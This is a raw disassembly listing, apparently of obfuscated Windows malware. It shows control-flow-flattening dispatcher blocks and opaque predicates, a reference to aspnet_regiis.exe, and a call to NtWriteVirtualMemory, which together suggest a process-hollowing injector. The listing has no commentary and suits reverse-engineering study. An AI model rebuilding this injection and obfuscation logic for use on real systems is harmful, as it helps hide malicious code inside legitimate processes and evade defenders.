and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x615e3ce7
mov ecx, 0x5dd11ac5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov dword [ebp - 0x168], 0x963090c
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xc34bbc0b
sub edx, 1
add edx, 0xc34bbc0b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7afc79fc
mov ecx, 0xcbbe2eee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x63b08763
sub edx, 1
sub edx, 0x63b08763
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc122507
mov ecx, 0x7396bc25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100118d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov al, byte [ebp - 0xca]
mov dword [ebp - 0x168], 0x59cf4191
jmp 0x10010d17
mov eax, dword [ebp - 0x144]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x168], 0x14a371f2
jmp 0x10010d17
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x168], 0x4ee86d2e
jmp 0x10010d17
mov dword [ebp - 0x168], 0xbc7b6fa3
jmp 0x10010d17
mov dword [ebp - 0x168], 0x4d483a58
jmp 0x10010d17
mov eax, dword [ebp - 0x78]
mov edx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x150]
mov esi, dword [eax]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100086d0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x168], 0xff515a48
jmp 0x10010d17
mov dword [ebp - 0x168], 0x53ba891
jmp 0x10010d17
mov dword [ebp - 0x168], 0x7b79e799
jmp 0x10010d17
mov dword [ebp - 0x168], 0x95eebaef
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xfe8f99d3
sub edx, 1
add edx, 0xfe8f99d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1fb98e97
mov ecx, 0xc8037d94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x168], 0x50fa18fc
jmp 0x10010d17
mov dword [ebp - 0x168], 0x3ed63c66
jmp 0x10010d17
mov dword [ebp - 0x168], 0xd91343ce
jmp 0x10010d17
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x168], 0xe79ac9ee
jmp 0x10010d17
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xe28afa3f
sub ecx, 8
add ecx, 0xe28afa3f
shr ecx, 1
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0xd024b98
jmp 0x10010d17
mov dword [ebp - 0x168], 0xdd071698
jmp 0x10010d17
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10007640
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x168], 0x51639e96
jmp 0x10010d17
mov dword [ebp - 0x168], 0xf6b62fbe
jmp 0x10010d17
mov dword [ebp - 0x168], 0x496b7aa8
jmp 0x10010d17
jmp 0x10008cdf